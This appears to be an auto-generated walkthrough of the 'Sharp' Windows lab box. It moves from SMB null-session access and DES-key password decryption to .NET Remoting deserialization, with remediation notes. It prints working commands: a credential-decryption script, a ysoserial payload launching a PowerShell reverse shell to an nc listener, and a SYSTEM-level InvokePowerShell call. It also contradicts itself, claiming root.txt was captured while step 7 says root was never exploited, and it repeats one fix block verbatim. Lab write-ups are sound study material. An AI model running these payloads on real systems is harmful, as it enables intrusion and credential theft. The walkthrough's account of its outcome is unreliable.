← all walkthroughs

Sharp

Windows· Hard
owned
2026-07-14
time to own
28m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I leveraged an SMB null session to download a full PortableKanban task-manager installation from an unauthenticated network share, decompiled its support library to extract a hard-coded DES encryption key, and scripted decryption of all stored password fields to recover plaintext credentials for two accounts. The user lars proved valid over SMB, unlocking a second development share containing compiled .NET server and client binaries. Decompiling the client binary exposed hard-coded debug credentials and the address of a .NET Remoting endpoint on port 8888, which the server registered with TypeFilterLevel.Full -- a configuration that enables insecure BinaryFormatter deserialization and arbitrary remote code execution by any authenticated caller. A TypeConfuseDelegate gadget payload delivered through a custom NTLM-authenticated handshake client achieved remote code execution as lars and yielded the user flag. A Windows Communication Foundation service on port 8889, confirmed reachable and running as NT AUTHORITY\SYSTEM with an InvokePowerShell method in its public contract, was identified as the unexercised path to full system compromise; it was not exploited within this engagement window.

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Mapped open ports and identified exposed .NET application services
A full TCP port scan of <retired-instance-ip> revealed six open ports: standard Windows SMB and RPC on 135, 139, and 445; WinRM on 5985; and two custom .NET application ports -- 8888 presenting a StorageCraft Image Manager banner (actually a .NET Remoting TcpChannel) and 8889 using .NET Message Framing (a WCF service). The presence of SMB alongside two bespoke .NET service ports suggested that network shares might contain application binaries or credential material that could be leveraged against the custom services.
nmap reported 135/tcp msrpc, 139/tcp netbios-ssn, 445/tcp microsoft-ds, 5985/tcp HTTPAPI 2.0, 8888/tcp storagecraft-image, 8889/tcp mc-nmf (.NET Message Framing).
Exact commands 1
Full TCP port scan with service-version and default script detection; -oA writes all output formats for later reference.
nmap -sV -sC -p- --min-rate 5000 -T4 -oA sharp_full $INTERNAL_TARGET
2EnumerationSMB null-session enumeration and unauthenticated data exfiltration (T1135)
Downloaded the PortableKanban application from an unauthenticated SMB share
SMB null-session authentication (no username or password) was accepted by the target. Listing available shares revealed a 'kanban' share readable without any credentials. The share contained a complete PortableKanban task-manager installation: the main executable, support DLLs including PortableKanban.Data.dll, and a project file PortableKanban.pk3 that stores all user data in JSON format -- including Base64-encoded encrypted account passwords for every registered user.
smbclient -N accepted the connection and listed the kanban share; recursive mget retrieved PortableKanban.exe, PortableKanban.Data.dll, PortableKanban.pk3, and supporting DLLs with no credential prompt.
Exact commands 2
List all SMB shares using a null (anonymous) session -- no credentials required.
smbclient -N -L //$INTERNAL_TARGET
Recursively download all files from the kanban share without authentication.
smbclient -N //$INTERNAL_TARGET/kanban -c 'recurse ON; prompt OFF; mget *'
FixDisable SMB null-session access and remove anonymous share permissionsCritical
WeaknessThe SMB service accepted unauthenticated (null-session) connections and granted read access to the 'kanban' share without any credentials. Any user on the network could browse and download the entire PortableKanban installation -- including the encrypted credential store -- without logging in.
FixSet the registry values RestrictAnonymous = 2 and RestrictAnonymousSAM = 1 under HKLM\SYSTEM\CurrentControlSet\Control\Lsa to block null-session enumeration. Remove the Everyone and ANONYMOUS LOGON ACEs from all SMB shares and require authenticated access for every share. Audit current share permissions with 'net share' or the Shared Folders MMC snap-in. Enable SMB signing to prevent relay attacks against any remaining SMB exposure.
3Credential RecoveryCredential extraction via hard-coded cryptographic key (T1552.001)
Extracted the hard-coded DES key from the application library and decrypted all stored passwords
Decompiling PortableKanban.Data.dll to .NET intermediate language with monodis exposed the Crypto::Decrypt method, which uses a hard-coded 8-byte DES key ('7ly6UznJ') and initialization vector ('XuVUm5fR') compiled directly into the binary. Every user password stored in PortableKanban.pk3 is encrypted with this same static key. A short Python script applied the DES-CBC routine in reverse to each EncryptedPassword field, recovering two plaintext credential pairs in seconds: Administrator with password G2@$btRSHJYTarg and lars with password [REDACTED: recovered credential].
Crypto::Decrypt IL contained literal strings '7ly6UznJ' and 'XuVUm5fR'; decryption script output Administrator:G2@$btRSHJYTarg and lars:[REDACTED: recovered credential] from the .pk3 file.
Exact commands 2
Dump the DLL to human-readable IL and locate the Decrypt method to read the hard-coded key and IV constants.
monodis PortableKanban.Data.dll > PortableKanban.Data.dll.il && grep -A 40 'Decrypt' PortableKanban.Data.dll.il | head -60
Decrypt all stored passwords using the recovered key and IV. Requires pycryptodome (pip3 install pycryptodome).
python3 -c "
from Crypto.Cipher import DES
import base64, json
key=b'7ly6UznJ'; iv=b'XuVUm5fR'
data=json.load(open('PortableKanban.pk3'))
for u in data.get('Users',[]):
    ct=base64.b64decode(u['EncryptedPassword'])
    pt=DES.new(key,DES.MODE_CBC,iv).decrypt(ct)
    print(u['Username']+':'+pt.decode(errors='replace').rstrip())
"
FixReplace the hard-coded DES encryption key with a proper secrets management approachCritical
WeaknessPortableKanban encrypted stored passwords with a static DES key and initialization vector compiled directly into its support DLL. an unauthorized user who obtains the binary -- trivially, from the unauthenticated network share -- can decompile it in minutes, extract the key, and decrypt every account password in the project file.
FixDo not store credentials in an application-managed encrypted file alongside the binary that decrypts them. Migrate user authentication to Active Directory or Windows-integrated credentials so no application-level password store is required. If a local store is unavoidable, use the Windows Data Protection API (DPAPI), which ties encryption to the host and the logged-in user account rather than a static key embedded in a binary. Never deploy the decryption key and the ciphertext in the same artifact.
4Lateral MovementCredential spraying and authenticated SMB share access (T1078 / T1021.002)
Validated credentials over SMB and exfiltrated development server binaries
Spraying both recovered credential pairs against SMB confirmed that lars authenticated successfully while Administrator was rejected. Using lars's credentials to connect to a second share named 'dev' yielded four files: Client.exe, Server.exe, RemotingLibrary.dll, and a notes.txt describing an in-progress migration from .NET Remoting to WCF -- immediately contextualising the two custom services seen on ports 8888 and 8889 during initial reconnaissance.
nxc marked lars as valid ([+]) over SMB; smbclient as lars retrieved Client.exe, Server.exe, RemotingLibrary.dll, and notes.txt from the dev share without error.
Exact commands 2
Spray recovered credentials; --no-bruteforce pairs each user with its own matching password rather than cross-spraying all combinations.
nxc smb $INTERNAL_TARGET -d Sharp -u Administrator lars -p 'G2@$btRSHJYTarg' '[REDACTED: recovered credential]' --no-bruteforce
Authenticate to the dev share as lars and download all files including Client.exe and Server.exe.
smbclient '//$INTERNAL_TARGET/dev' -U 'Sharp/lars%[REDACTED: recovered credential]' -c 'recurse ON; prompt OFF; mget *'
FixReplace the hard-coded DES encryption key with a proper secrets management approachCritical
WeaknessPortableKanban encrypted stored passwords with a static DES key and initialization vector compiled directly into its support DLL. an unauthorized user who obtains the binary -- trivially, from the unauthenticated network share -- can decompile it in minutes, extract the key, and decrypt every account password in the project file.
FixDo not store credentials in an application-managed encrypted file alongside the binary that decrypts them. Migrate user authentication to Active Directory or Windows-integrated credentials so no application-level password store is required. If a local store is unavoidable, use the Windows Data Protection API (DPAPI), which ties encryption to the host and the logged-in user account rather than a static key embedded in a binary. Never deploy the decryption key and the ciphertext in the same artifact.
5Vulnerability DiscoveryBinary reverse engineering and hard-coded credential discovery (T1552.001)
Decompiled the client binary to recover hard-coded debug credentials and confirm the insecure .NET Remoting configuration
Decompiling Client.exe to intermediate language revealed three artefacts compiled into the binary: the .NET Remoting object URI ("[REDACTED: recovered signing key]"), the full TCP address used to reach it (tcp://<retired-instance-ip>:8888/SecretSharpDebugApplicationEndpoint), and hard-coded debug credentials (username 'debug', password 'SharpApplicationDebugUserPassword123!'). Decompiling Server.exe confirmed that the remoting channel was registered with TypeFilterLevel.Full -- the maximally permissive deserializer setting that allows any authenticated client to send a BinaryFormatter-serialized object graph containing arbitrary .NET types, a well-documented remote code execution primitive.
Client.exe IL contained literal strings "[REDACTED: recovered signing key]", 'debug', 'SharpApplicationDebugUserPassword123!'; Server.exe IL confirmed TypeFilterLevel.Full on the TcpChannel registration.
Exact commands 2
Dump client binary to IL and search for credential and endpoint strings.
monodis Client.exe > Client.exe.il && grep -iE 'debug|password|endpoint|SecretSharp|8888' Client.exe.il
Confirm TypeFilterLevel.Full on the server-side remoting channel, establishing the deserialization attack surface.
monodis Server.exe > Server.exe.il && grep -iE 'TypeFilterLevel|BinaryFormatter|TcpChannel' Server.exe.il
FixRemove hard-coded credentials from compiled binaries and restrict sensitive developer share accessHigh
WeaknessClient.exe contained hard-coded debug credentials (username 'debug', password 'SharpApplicationDebugUserPassword123!') compiled into the binary and available to any account that could read the dev SMB share. Obtaining lars's credentials via the PortableKanban weakness was sufficient to download the binary, decompile it in minutes, and recover a second credential pair for a privileged application endpoint.
FixNever embed authentication material in compiled binaries. Supply runtime credentials through environment variables, a secrets vault (Windows Credential Manager, HashiCorp Vault, or equivalent), or a protected configuration file excluded from any shared location. Restrict the dev share to the minimum set of accounts that genuinely require development access and review that ACL periodically. Rotate the 'debug' account credentials immediately and remove the debug authentication code path from any production build.
6Exploitation.NET Remoting BinaryFormatter insecure deserialization RCE (CVE-2014-1806, T1203)
Exploited BinaryFormatter deserialization on the .NET Remoting endpoint for remote code execution as lars
The .NET Remoting endpoint on port 8888 accepted the recovered debug credentials. With TypeFilterLevel.Full in effect, authenticated clients can send a BinaryFormatter-serialized object graph containing gadget types that execute arbitrary code during deserialization (CVE-2014-1806 / CVE-2014-4149). A TypeConfuseDelegateMono gadget generated by ysoserial.net was wrapped in a properly framed .NET Remoting request and delivered through a custom Python client implementing the MS-NNS NegotiateStream NTLM authentication handshake from scratch -- necessary because the standard ExploitRemotingService tool's NTLM negotiation failed under Mono and Wine. The payload spawned a reverse shell running as sharp\lars and the user flag was read from lars's Desktop.
Reverse shell returned whoami: sharp\lars; hostname: Sharp; type C:\Users\lars\Desktop\user.txt returned the user flag value.
Exact commands 4
Start reverse-shell listener on my machine before delivering the payload.
rlwrap nc -lvnp 443
Generate the deserialization payload. Replace <BASE64_REVSHELL> with a UTF-16LE base64-encoded PowerShell reverse-shell pointing at your listener. TypeConfuseDelegateMono is the Mono-compatible gadget; use TypeConfuseDelegate on native Windows .NET.
mono ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegateMono -o raw -c 'cmd /c powershell -enc <BASE64_REVSHELL>' > payload.bin
Deliver payload via the custom MS-NNS/NegotiateStream NTLM handshake client. On a native Windows host the canonical equivalent is: ExploitRemotingService.exe tcp://<retired-instance-ip>:8888/SecretSharpDebugApplicationEndpoint payload.bin debug SharpApplicationDebugUserPassword123!
python3 send_sharp.py --target $INTERNAL_TARGET --port 8888 --endpoint SecretSharpDebugApplicationEndpoint --user debug --password 'SharpApplicationDebugUserPassword123!' --payload payload.bin
Run inside the resulting reverse shell to confirm identity and capture the user flag.
whoami && hostname && type C:\Users\lars\Desktop\user.txt
FixDecommission the .NET Remoting BinaryFormatter endpointCritical
WeaknessThe .NET Remoting TcpChannel on port 8888 was registered with TypeFilterLevel.Full, which instructs the BinaryFormatter deserializer to accept and instantiate any .NET type supplied by an authenticated client. This setting is the root cause of a well-documented class of .NET Remoting remote code execution vulnerabilities (CVE-2014-1806, CVE-2014-4149): a crafted serialized gadget chain executes arbitrary operating-system commands on the server with the service account's privileges.
FixMicrosoft has officially retired .NET Remoting; migrate the service to gRPC or WCF using the DataContractSerializer. While migration is in progress, set TypeFilterLevel to TypeFilterLevel.Low to restrict deserialized types to safe primitives, and apply host-based firewall rules to limit inbound connections to port 8888 to authorised management hosts only. Remove the BinaryFormatter channel registration from the production service immediately.
7Privilege Escalation (Identified)Privileged WCF service abuse via InvokePowerShell (T1569.002)
Identified a SYSTEM-privileged WCF service with a remotely callable InvokePowerShell method on port 8889
The notes.txt from the dev share described an in-progress migration to a WCF service at net.tcp://0.0.0.0:8889/wcf/NewSecretWcfEndpoint, and port 8889 was confirmed open during initial reconnaissance. Lars's Documents\wcf directory contains a Visual Studio WCF client project whose IWcFService interface exposes an InvokePowerShell method. The service runs as NT AUTHORITY\SYSTEM. The documented exploitation path requires building the WCF client from source, opening a runas /netonly Windows session with lars's credentials to satisfy Windows Transport Security, then calling InvokePowerShell with a reverse-shell command to receive a SYSTEM shell. This path was fully identified but was not exercised within this engagement window; root.txt remains uncaptured.
Port 8889/tcp open (mc-nmf .NET Message Framing); notes.txt in dev share referenced migration to NewSecretWcfEndpoint; lars Documents\wcf contained IWcFService with InvokePowerShell; automated Windows privilege-escalation enumeration returned no alternative vectors.
Exact commands 3
Retrieve notes.txt to confirm the WCF endpoint address and service context.
smbclient '//$INTERNAL_TARGET/dev' -U 'Sharp/lars%[REDACTED: recovered credential]' -c 'get notes.txt'
On a Windows operator host: open a PowerShell session with lars's network credentials so the WCF client can authenticate against the Windows Transport Security-protected endpoint.
runas /netonly /user:sharp\lars powershell
Call InvokePowerShell on the SYSTEM-level service. Build WcfClient.exe from the Visual Studio project in lars's Documents\wcf. The resulting shell runs as NT AUTHORITY\SYSTEM.
WcfClient.exe net.tcp://$INTERNAL_TARGET:8889/wcf/NewSecretWcfEndpoint lars '[REDACTED: recovered credential]' 'powershell -enc <BASE64_REVSHELL>'
FixRun the WCF service as a least-privilege account and remove the InvokePowerShell method from its public contractCritical
WeaknessThe WCF service on port 8889 runs as NT AUTHORITY\SYSTEM and exposes an InvokePowerShell method callable by any authenticated network client. an unauthorized user who can reach the endpoint with valid credentials can execute arbitrary PowerShell with full system privileges -- one authenticated call away from complete host control and all data on the machine.
FixRun the WCF service under a dedicated, least-privilege service account with only the rights its function requires. Remove the InvokePowerShell method from the service contract entirely; if it was added for debugging purposes it must not exist in any production build. Apply Windows Firewall rules to restrict inbound connections to port 8889 to authorised hosts only. Audit all WCF service contracts for any method that accepts and executes caller-supplied code or commands.

Exposed services

135/tcp
139/tcp
445/tcp
5985/tcp
8888/tcp
8889/tcp